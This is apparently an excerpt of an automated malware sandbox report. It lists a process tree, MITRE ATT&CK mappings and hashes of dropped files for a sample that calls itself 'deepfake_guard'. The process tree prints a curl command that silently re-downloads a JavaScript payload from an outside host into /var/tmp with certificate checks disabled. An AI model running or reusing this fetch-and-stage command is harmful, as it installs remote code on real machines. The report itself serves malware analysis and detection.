  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1825
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1826
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  PID:1827
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1829
- /bin/sleep
  sleep 2
  2⤵
  PID:1830
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1832
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1833
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  PID:1834
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1836

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

sh-thd.6P7AC5

Path /tmp/sh-thd.6P7AC5
Size 17KB
SHA256 b48aa1992618db68bf55ee4a663a07d7a6c5108d6d66b953047ac7698c87a7ed
MD5 7dcc070b17521005e7947d68b63b0443
SHA1 b2870cf979bc6e1f91b7eaf56c14a82907317586
SHA512 f40d5065419fea9d86b9d530b42ea08cabad421d5d2039e6ec917e797847baddee306f60911fc91ff0aefda0cbad918beea3f4def23730444a795299b0d01e32
SSDEEP 192:usbvL0QLcTXxvmWs4GVxYFfYiJRHi5n3vTWirUsz16+zS9ZPpEB6HfDyBTJTutQ/:uszLvLcxmWakFfJc75z1tzZgtQyDZ6f
TLSH
T1E682B91B2D838D383D8940B9AADB9285516F8C170C0E3D65F8AD65883F3D25CA37B35B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.kdm.jDjdSV

Path /var/tmp/.kdm.jDjdSV
Size 22KB
SHA256 283fc3f4ff57caeaf1a6d84c304257f3fb7c1e833d61cf56ea497d947e0314c6
MD5 c46abeecab5120dd0fc9125acb3b592a
SHA1 3cc98e12e9d9f9ae785884a315520c491776c97c
SHA512 f62db669e8ff50407173d9a8578044fbc4ed16e2b3d7c68b1b431b0ddfe869af5d3d9489eb782996476d149a6c5bc38ce0bd3f95fbdd123eb9056539caa8bef0
SSDEEP 384:JxmWA5esziszLvLcxmWakFfJc75z1tzZgtQyDZ6Mf:JxmWA5esziszLvLcxmWakFfA5z1tzZ5o
TLSH
T1C4A2D91A29478C383D8841B9EBDB6185616B891B0D0E3C65FC5D69C83F3D258B27B367
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

deepfake_guard.launcher.status

Path /var/tmp/deepfake_guard.launcher.status
Size 20B
SHA256 9cacfd988fb50bc7468779e85c044792b108b5fb837c1b8f6d159ab96de666a8
MD5 6af1fa6da228ca8f400b52110523f3f9
SHA1 a670496621e295ca055368f2f050422b4587e5da
SHA512 d1e46f645624ace405bc338c617b9d6c9c21fa329711f33fe9f66f8504c67c30a059855273b974620391c3516727f4a90ac9d02b38da89daaad2b6b1ae1305b6
MD5 SHA1 SHA512

Submit Download

pid

Path /var/tmp/deepfake_guard.lock.d/pid
Size 5B
SHA256 b56aee2001ce02ed8380c89f8012fa02754e4b784d6d988b6d7b570fa38cea53
MD5 d4bb4f737fb1a4ea23321aba1457169a
SHA1 a533fbe97d1278951f67811a234b77d096b2b1be
SHA512 772452be821fa7b4b25fba4dfbed2ef481264d90d09ee622282fa1b0f835f4ede8598ed0f52acf3cbdf322ec824a916b1c5a3983b04bbc1197df83c2775ca2b7
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads